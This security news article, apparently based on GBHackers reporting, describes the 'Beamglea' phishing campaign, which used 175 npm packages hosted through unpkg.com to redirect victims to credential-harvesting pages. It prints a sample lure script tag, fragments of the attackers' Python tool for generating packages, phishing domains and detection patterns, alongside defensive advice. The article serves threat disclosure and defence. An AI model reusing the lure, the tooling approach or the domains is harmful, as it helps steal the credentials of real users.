175 Malicious npm Packages Targeting Tech and Energy Firms, 26,000 Downloads

Cybersecurity: Phishing Campaign Analysis

The research team at Socket has identified a phishing campaign, named "Beamglea," which involves 175 malicious npm packages. These packages have achieved over 26,000 downloads.

The npm packages are used as hosting infrastructure, redirecting users to credential-harvesting pages. Although the packages have random names, making accidental installation by developers unlikely, the download numbers reflect activity from security researchers, automated scanners, and CDN providers following the disclosure.

Targets include over 135 companies in the industrial, technology, and energy sectors across Western Europe, the Nordics, and Asia-Pacific. The packages do not execute code during installation but use npm's public registry and unpkg.com's CDN to host redirect scripts.

Threat actors publish packages with names following the pattern redirect-[a-z0-9]{6} . They rely on unpkg.com to deliver assets over HTTPS automatically.

Victims typically receive HTML files disguised as purchase orders or project documents, likely distributed via phishing emails. These files contain <script> tags pointing to URLs like:

<script src="https://unpkg.com/redirect-xs13nr@1.0.0/beamglea.js"></script>

When opened, the JavaScript payload executes, appending the victim’s email to the URL, ensuring that this data is not captured in server logs.

Analysis reveals automated tools written in Python, compiled with PyInstaller, to facilitate package generation and publication. The core logic follows a template-based approach:

def generate_random_package_name(prefix="redirect-"): suffix = ''.join(random.choices(string.ascii_lowercase + string.digits, k=6)) return prefix + suffix

template_js = load_template('beamglea_template.js') final_js = template_js.replace("{{EMAIL}}", email).replace("{{URL}}", redirect_url) with open("beamglea.js", "w", encoding="utf-8") as f: f.write(final_js)

The script logs into npm, injects victim-specific data into a JavaScript template, publishes a uniquely named package, and generates the corresponding HTML lure. Over 630 HTML files were identified across the 175 packages, with each file embedding a unique meta tag for campaign identification.

Threat actors have registered multiple phishing domains, such as cfn.jackpotmastersdanske.com and musicboxcr.com , using encoded URL parameters for campaign variants.

The Beamglea campaign demonstrates how adversaries can leverage legitimate infrastructure at low cost and with high resilience. Detection of these IOCs should be treated as an active breach.

Immediate actions include enforcing password resets for potentially compromised accounts and activating multifactor authentication, especially for Office 365 accounts without MFA. Email gateways should quarantine or strip HTML attachments due to the minimal legitimate use of standalone HTML files. Network monitoring should flag requests to unpkg.com matching redirect-*/beamglea.js patterns and queries to the malicious domains. Endpoint rules should alert on local HTML files loading unpkg.com scripts, and browser history analysis can reveal navigation with email fragments in URLs.

Long-term measures involve restricting public npm registry use for internal assets or implementing allowlists for trusted packages. Web content filters should block unknown CDN references while balancing security needs against developer workflows.

As this technique evolves, organizations must remain vigilant, continuously updating detection rules and threat intelligence to counter adversaries exploiting open-source infrastructure at scale.

Based on reporting by GBHackers.